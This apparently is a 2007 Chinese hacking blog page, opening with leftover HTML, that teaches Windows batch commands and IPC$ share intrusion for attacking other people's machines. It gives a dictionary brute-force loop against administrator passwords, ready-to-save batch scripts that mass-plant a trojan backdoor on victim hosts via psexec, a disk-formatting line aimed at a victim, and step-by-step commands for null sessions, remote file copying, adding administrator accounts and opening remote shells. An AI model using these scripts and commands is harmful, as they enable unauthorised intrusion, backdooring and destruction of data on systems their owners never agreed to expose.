雅 虎 通:<span class="STYLE4"> </span><br />
Skype &nbsp;&nbsp;: <br />
网络电话:

<a href="#" target="_blank"> <font color="#FF0000"></font></a></td>
                </tr>
                <tr>
                  <td height="50" align="left"><table width="97%" border="0" cellspacing="0" cellpadding="0">
                      <tr>
                        <td> </td>
                      </tr>
                    </table></td>
                </tr>
              </table></td>
            </tr>
          </table></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="600" border="0" cellspacing="0" cellpadding="0" align="center">
  <tr>
    <td>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td height="30">&nbsp;</td>
          </tr>
        </table>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
           
            <td><P align=center><A href="http://whkmz.900me.com/go/"></A>&nbsp; <IFRAME id=baiduframe border=0 marginWidth=0 frameSpacing=0 marginHeight=0 src="http://unstat.baidu.com/bdun.bsc?tn=whwkn_pg&amp;cv=0&amp;cid=1030766&amp;csid=1&amp;rkcs=19&amp;bgcr=FFFFFF&amp;ftcr=0000CC&amp;rk=1&amp;bd=0&amp;tbsz=12&amp;tbst=0&amp;sropls=1,4,6,2,3&amp;wd=580&amp;ht=50&amp;kwnm=9&amp;kwgp=1&amp;sropst=1&amp;bdas=0" frameBorder=0 width=580 scrolling=no height=50>  </IFRAME><BR><FONT color=#777777><BR><A href="http://www.miibeian.gov.cn/login.jsp"><FONT face=宋体 color=#777777 size=2>ICP备案编号:</FONT></A><A href="http://www.miibeian.gov.cn/login.jsp"><FONT face=宋体 color=#00a3cc size=2>鄂ICP备05002940号</FONT></A><MAP name=AutoMap1><FONT color=#00a3cc> </FONT><FONT color=#00a3cc><FONT color=#777777>工商执照:</FONT>4201002170078&nbsp;&nbsp; <FONT color=#777777>组织机构代码:</FONT>72270962-8<BR></P></FONT></MAP></FONT></td>
           
          </tr>
        </table>
     
    </td>
  </tr>
</table>


</body>
</html>

posted @ 2007-01-26 16:37 MEYE 阅读(607) | 评论 (1)编辑 收藏
黑客常用 命令2(批处理命令)

批处理命令

1、Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一
些命令到特定格式的文件中.这将在以后的例子中体现出来。 
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命
令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个
参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。) 
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根
据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后
修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息: 
Press any key to continue . . . 
Sample:
@echo off 
:begin 
copy a:*.* d:\back
echo Please put a new disk into driver A 
pause 
goto begin 
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 
A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在
脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName 
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执
行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入
的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
test.bat的内容如下: 
@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标
号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以
goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 
1、if "参数" == "字符串"  待执行的命令 
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a: 
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名  待执行的命令 
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys 

3、if errorlevel / if not errorlevel 数字  待执行的命令 
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command 

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或
'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2:

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密
码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find
命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">&g
t;D:\ok.txt ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁
闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明
白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call cultivate.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给cultivate.bat中的参
数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim并用返回码(If errorle
ver =)来筛选成功种植后门的主机并echo出来,或者echo到文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样
的了。应该根据%%i %%j %%k表示的对象来,一般就是 ip password username。

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD 
%3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目
录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕
虫).此处不多做叙述,有兴趣的朋友可自行研究.


黑客常用 命令5(ipc$命令)

一 摘要
注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列。


二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,
通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程
计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连
接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$
……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在
有意无意中,导致了系统安全性的降低。
平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么
说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?


三 什么是空会话
在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,
建立双方通过它互通信息,这个过程的大致顺序如下: 
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建 
立; 
2)服务器产生一个随机的64位数(实现挑战)传送回客户; 
3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结 
果返回到服务器(实现响应); 
4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者
身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控
制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到
服务器上的资源直到建议的会话被终止。
以上是一个安全会话建立的大致过程,那么空会话又如何呢?

空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模
型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中
不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符S
ID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户
名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于
系统内置的帐号),这个访问令牌包含下面伪装的组: 
Everyone 
Network
在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作
什么呢? 


四 空会话可以做什么 
对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问
小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只
有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。
从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺
少的跳板,因为我们从它那里可以得到户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解
的,成功的导出用户列表大大增加了猜解的成功率,仅从这一点,足以说明空会话所带来的安全隐患,因此说空会
话毫无用处的说法是不正确的。以下是空会话中能够使用的一些具体命令:


1 首先,我们先建立一个空连接(当然,这需要目标开放ipc$)
命令:net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。


2 查看远程主机的共享资源
命令:net view \\ip
解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结
果,但此命令不能显示默认共享。

在 \\*.*.*.*的共享资源
资源共享名 类型 用途 注释

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看远程主机的当前时间
命令: net time \\ip
解释:用此命令可以得到一个远程主机的当前时间。


4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
命令:nbtstat -A ip
用此命令可以得到一个远程主机的NetBIOS用户名列表,返回如下结果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37


以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的操作会在
Event Log中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看ipc$所使用的端口是什么?


五 ipc$所使用的端口
首先我们来了解一些基础知识:
1 SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;
2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NET
BIOS网络互联。
3 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT
实现,还可以直接通过445端口实现。

有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:

对于win2000客户端(发起端)来说:
1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就
发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都
没有响应,则会话失败;
2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失
败。


对于win2000服务器端来说:
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
2 如果禁止NBT,那么只有445端口开放。


我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ip
c$会话是无法建立的。


六 ipc管道在hack攻击中的意义
ipc管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放ipc管道的主机似乎更容易得
手。通过ipc管道,我们可以远程调用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成
败的关键。如果不考虑这些,仅从传送文件这一方面,ipc管道已经给了入侵者莫大的支持,甚至已经成为了最重
要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc管道而一筹莫展大呼救命。当
然,我们也不能忽视权限在ipc管道中扮演的重要角色,想必你一定品尝过空会话的尴尬,没有权限,开启管道我
们也无可奈何。但入侵者一旦获得了管理员的权限,那么ipc管道这把双刃剑将显示出它狰狞的一面。


七 ipc$连接失败的常见原因
以下是一些常见的导致ipc$连接失败的原因:

1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能
在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ip
c$连接的;


2 如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ip
c$共享,将不能建立连接;


3 连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它
发起方无法发起连接请求;


4 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共
享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接;


5 响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);


6 响应方的139,445端口未处于监听状态或被防火墙屏蔽;


7 连接发起方未打开139,445端口;


8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于'无法更新密码'这样的错误提示(显然空会话
排除这种错误);


9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,
可以直接输入两个引号""即可;


10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。 


另外,你也可以根据返回的错误号分析原因: 

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的; 
错误号51,Windows无法找到网络路径:网络有问题; 
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口
过滤); 
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$; 
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连; 
错误号1326,未知的用户名或错误密码:原因很明显了; 
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。 


八 复制文件失败的原因
有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败
的常见原因又有哪些呢?


1 对方未开启共享文件夹
这类错误出现的最多,占到50%以上。许多朋友在ipc$连接建立成功后,甚至都不知道对方是否有共享文件夹,
就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命
令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要认为能建立ipc$连接就一定有共享文
件夹存在。


2 向默认共享复制失败
这类错误也是大家经常犯的,主要有两个小方面:

1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向c$,d$,admin$之类
的默认共享复制文件,一旦对方未开启默认共享,将导致复制失败。ipc$连接成功只能说明对方打开了ipc$共
享,并不能说明默认共享一定存在。ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际
的文件夹,而默认共享却是实实在在的共享文件夹;

2)由于net view \\IP 这个命令无法显示默认共享文件夹(因为默认共享带$),因此通过这个命令,我们并不
能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;
(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)

要点:请大家一定区分ipc共享,默认共享,普通共享这三者的区别:ipc共享是一个管道,并不是实际的共享文件
夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。


3用户权限不够,包括四种情形:
1)空连接向所有共享(默认共享和普通共享)复制时,权限是不够的;
2)向默认共享复制时,在Win2000 Pro版中,只有Administrators和Backup Operators组成员才可以,在
Win2000 Server版本 Server Operatros组也可以访问到这些共享目录; 
3)向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限);
4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

注意:
1 不要认为administrator就一定具有管理员权限,管理员名称是可以改的
2 管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹
进行访问权限设置,如图6,管理员为D盘设置的访问权限为仅允许名为xinxin的用户对该文件夹进行完全访问,
那么此时即使你拥有管理员权限,你仍然不能访问D盘。不过有意思的是,如果此时对方又开启了D$的默认共
享,那么你却可以访问D$,从而绕过了权限限制,有兴趣的朋友可以自己做测试。


4被防火墙杀死或在局域网
还有一种情况,那就是也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你
把木马复制到了局域网内的主机,导致连接失败(反向连接的木马不会发生这种情况)。如果你没有想到这种情
况,你会以为是复制上出了问题,但实际你的复制操作已经成功了,只是运行时出了问题。


呵呵,大家也知道,ipc$连接在实际操作过程中会出现各种各样的问题,上面我所总结的只是一些常见错误,没
说到的,大家可以给我提个醒儿。


九 关于at命令和xp对ipc$的限制
本来还想说一下用at远程运行程序失败的原因,但考虑到at的成功率不是很高,问题也很多,在这里就不提它了
(提的越多,用的人就越多),而是推荐大家用p***ec.exe远程运行程序,假设想要远程机器执行本地c:\xinxi
n.exe文件,且管理员为administrator,密码为1234,那么输入下面的命令:
p***ec \\ip -u administrator -p 1234 -c c:\xinxin.exe
如果已经建立ipc连接,则-u -p这两个参数不需要,p***ec.exe将自动拷贝文件到远程机器并运行。

本来xp中的ipc$也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到xp的时
候,大部分操作都很难成功。我在这里就简单提一下吧,在xp的默认安全选项中,任何远程访问仅被赋予来宾权
限,也就是说即使你是用管理员帐户和密码,你所得到的权限也只是Guest,因此大部分操作都会因为权限不够
而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了xp的管理员密码,我建议
你尽量避开ipc管道。


十 如何打开目标的IPC$共享以及其他共享
目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马,c
md重定向等,然后在shell下执行:
net share ipc$
开放目标的ipc$共享;
net share ipc$ /del
关闭目标的ipc$共享;如果你要给它开共享文件夹,你可以用:
net share xinxin=c:\
这样就把它的c盘开为共享名为xinxin共享文件夹了。(可是我发现很多人错误的认为开共享文件夹的命令是net 
share c$,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些操作都是在shell下才能实现的。


十一 一些需要shell才能完成的命令
看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导
作用。那么下面我总结一下需要在shell才能完成的命令:

1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成;

2 打开远程主机的ipc$共享,默认共享,普通共享的操作需要在shell下完成;

3 运行/关闭远程主机的服务,需要在shell下完成;

4 启动/杀掉远程主机的进程,也需要在shell下完成(用软件的情况下除外,如pskill)。


十二 入侵中可能会用到的命令
为了这份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已经掌握了这些命令,你可以跳过这一部
分看下面的内容。请注意这些命令是适用于本地还是远程,如果只适用于本地,你只能在获得远程主机的shell
(如cmd,telnet等)后,才能向远程主机执行。


1 建立/删除ipc$连接的命令

1)建立空连接:
net use \\127.0.0.1\ipc$ "" /user:"" 

2)建立非空连接:
net use \\127.0.0.1\ipc$ "密码" /user:"用户名" 

3)删除连接:
net use \\127.0.0.1\ipc$ /del


2 在ipc$连接中对远程主机的操作命令

1) 查看远程主机的共享资源(看不到默认共享):
net view \\127.0.0.1 

2) 查看远程主机的当前时间:
net time \\127.0.0.1 

3) 得到远程主机的netbios用户名列表:
nbtstat -A 127.0.0.1 

4)映射/删除远程共享:
net use z: \\127.0.0.1\c 
此命令将共享名为c的共享资源映射为本地z盘 

net use z: /del 
删除映射的z盘,其他盘类推

5)向远程主机复制文件:
copy 路径\文件名 \\IP\共享目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\

6)远程添加计划任务:
at \\IP 时间 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽量使用24小时制;如果你打算运行的程序在系统默认搜索路径(比如system32/)下则不用加路
径,否则必须加全路径


3 本地命令

1)查看本地主机的共享资源(可以看到本地的默认共享)
net share

2)得到本地主机的用户列表
net user

3)显示本地某用户的帐户信息
net user 帐户名

4)显示本地主机当前启动的服务
net start 

5)启动/关闭本地服务
net start 服务名 
net stop 服务名 

6)在本地添加帐户
net user 帐户名 密码 /add

7)激活禁用的用户
net uesr 帐户名 /active:yes

8)加入管理员组
net localgroup administrators 帐户名 /add 

很显然的是,虽然这些都是本地命令,但如果你在远程主机的shell中输入,比如你telnet成功后输入上面这些命
令,那么这些本地输入将作用在远程主机上。


4 其他一些命令
1)telnet 
telnet IP 端口
telnet 127.0.0.0 23

2)用opentelnet.exe开启远程主机的telnet
OpenTelnet.exe \\ip 管理员帐号 密码 NTLM的认证方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过这个小工具需要满足四个要求:
1)目标开启了ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启RemoteRegistry服务,用户就可以更改ntlm认证
4)对仅WIN2K/XP有效

3)用p***ec.exe一步获得shell,需要ipc管道支持
p***ec.exe \\IP -u 管理员帐号 -p 密码 cmd
p***ec.exe \\127.0.0.1 -u administrator -p "" cmd


十三 对比过去和现今的ipc$入侵
